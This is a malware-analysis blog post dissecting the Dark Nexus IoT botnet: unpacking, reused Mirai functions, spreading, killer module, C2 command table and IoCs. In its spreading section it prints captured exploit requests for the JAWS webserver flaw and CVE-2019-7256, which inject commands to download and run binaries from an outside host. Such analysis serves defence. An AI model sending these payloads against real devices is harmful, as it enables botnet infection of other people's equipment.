IoT Malware : Dissecting Dark Nexus

IoT is everywhere and while we do enjoy new technologies, cyber criminals also take advantage of them. Bitdefender[1] found a new emerging IoT Botnet Malware named Dark Nexus which they believe to be authored by greek.helios.

picture is taken from hackernews

Researching IoT security is a hobby of mine and I was able to retrieve 2 variants of Dark Nexus. The corresponding SHA256 values can be found in the IoC chapter. Except of the persistence part, all chapters target the sample with the following SHA256: 2d88b99087c32420f2782078ba008a7077c47e89e04844915071e807327ebab7.

I am not covering everything about Dark Nexus in this blog post, if you are interested in certain parts of the malware you can message me on twitter and also read the white paper[2] published by Bitdefender.

1 – Unpacking DarkNexus

Dark Nexus comes statically linked with stripped symbols and no debug information embedded into it. Furthermore it is packed with a modified version of UPX.

In order to decompress a binary, UPX is dependent on finding the UPX! magic header in the binary. This magic header was replaced by the author. By simply changing the custom header to the original header, we are able to unpack the sample.

Patched magic header in DarkNexus sample

2 – Reused Mirai code

Before I started to look at the disassembly, I was interested into how much of the mirai source code was reused in this version. So I decided to make a shallow check of what seems to be copied.

For this experiment I compiled a static mirai sample with the linaro toolchain[3] and started to diff with diaphora[4] against a non stripped Dark Nexus sample. I did not expect any useable results regarding code patterns, because I did not build the exact toolchain that was used to compile Dark Nexus. However, I did find matching function names, a good indicator of which functions might have been used from the original mirai source code. The following function names matched:

resolv_entries_free
killer_kill_by_port
resolv_lookup
checksum_tcpudp
checksum_generic
rand_next
rand_init

I might look deeper into that next time.

3 – Persistence

The white paper already mentioned that not every variant uses the same way to gain persistence on an IoT device. A version which is not packed with the custom UPX packer tries to achieve it by removing the executable rights from tools which are used to turn off or reboot the system. Furthermore the crond daemon is stopped and the iptables are flushed.

The UPX packed sample does not have any functionality to achieve persistence.

4 – Spreading

The sample infects other devices by either telnet bruteforcing or exploiting vulnerabilities. There are reports of different versions of this sample and the sample I analysed did not automate the brute force telnet scan.

While the possibility to infect devices via telnet exists, it is only triggered by receiving a command from its c2 server and also a list of ip addresses to bruteforce. The credentials are harcoded into the sample.

Routine to build the credential list

I identified 2 exploits to infect other machines:

  • CVE-2019-7256[5]
  • JAWS Webserver unauthenticated shell command execution[6]
## Incoming exploits on port 60001 (JAWS Websrv. vuln)
root@moon:~# nc -lp 60001

GET /shell?cd /tmp; busybox wget http://switchnets.net/unstable;curl http://switchnets.net/unstable;chmod 777 unstable;./unstable HTTP/1.1
User-Agent: dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)
Host: http://141.77.252.239

root@moon:~# nc -lp 60001
GET /shell?cd /tmp; busybox wget http://switchnets.net/unstable;curl http://switchnets.net/unstable;chmod 777 unstable;./unstable HTTP/1.1
User-Agent: dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)
Host: http://85.217.237.3

root@moon:~# nc -lp 60001
GET /shell?cd /tmp; busybox wget http://switchnets.net/unstable;curl http://switchnets.net/unstable;chmod 777 unstable;./unstable HTTP/1.1
User-Agent: dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)
Host: http://219.73.157.21

## Incoming exploits on port 80 (CVE-2019-7256)
root@moon:~# nc -lp 80
GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear.selfrep%60 HTTP/1.1
User-Agent: dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)
Host: http://4.29.97.62

The exploits are implemented in a function called add_new_mass_exploiter and run in a subprocess invoked by a fork system call. The ip addresses are generated randomly.

wireshark capture of tcp packages targeting random ip addresses

5 – Killer module

Dark Nexus also implements a killer module that is used to watch over all running tasks in a separate process. If the task seems suspicious, the process is killed. The sample’s own invoked processes are kept in a white list.

function used to invoke the killer_run subprocess

It adds values to certain patterns and keeps a “suspicious list”. If the corresponding value of a process in this list is greater or 100, it is killed.

decompiled code responsible for finally killing a process

These are the mentioned patterns as well as their corresponding suspicion values:

ChecknumberActionSuspicion value
1(deleted) in symbol link100
2in suspicious path90
3more than 250 fds open10
4cmdline starts with “./”20
5bot’s GID in group list50
6is upx and statically linked50

list of suspicious paths

The sample I analysed seems to have a little difference in its suspicion values than the ones mentioned in the white paper.

Furthermore it keeps track of its own process ids and the ones that were already running before infection. New processes that are not in this list are killed too.

6 – C2 Protocol

Upon infection, the sample sends an initial message to the port 30047 of the c2 server. The message consists of at least the architecture the sample is compiled for. The variant I investigated also send a 2.5 numeric value in the same TCP package which I would suspect is a version number. This would not match with Bitdefender’s investigations though, because their report states that the version I am investigating is 4.0.

Initial message being sent to the c2 server

After the connection is initialised, the sample can accept a wide variety of commands:

Byte commandAction
0xFESend ping
0x9AStop execution
0x69Add bruteforce target
0x4BKill running attacks
0x43Execute command
0x50Sleep
No byteParse packet, start DDoS attack


The 0x50 command was not mentioned by Bitdefender but I found one in my version. I triggered the command via reimplementing the C2 protocol and believe that it is used for staying dormant for a time period. When triggered, the C2 communication is stopped too. This is just an assumption though.

decompiled code, receiving the 0x50 command

If the execute_command task is received, the second byte determines what action is taken.

So far 4 different functionalities were identified regarding the execute_command:

  • case 1 : Execute /bin/sh [COMMAND] as a new forked process
  • case 3 : Kill running forks
  • case 7 : Reboot the system
  • case 16 : Kill process by port

7 – Available attacks

This variant of Dark Nexus implements 6 different attack methods.

available attack methods

Bitdefender mentioned that these attack techniques are all common for botnets except the browser_http_req function.

The routine is implemented highly configurable, probably with the goal to overcome common firewalls and anti DDoS techniques. Through the whole function, a random HTTP header is set up. This way each sent HTTP request looks different, making it harder for defense mechanisms to detect a DDoS attack.

example of how a random header value is determined
list of header values to choose from

8 – IoCs

  • sha256 of upx packed sample : 2d88b99087c32420f2782078ba008a7077c47e89e04844915071e807327ebab7
  • sha256 of not upx packed sample : 661ca273e17479dbfbb75c44eb211cda9c4d2ebe91cd42a3d9496b9f966baf1e
Scroll to Top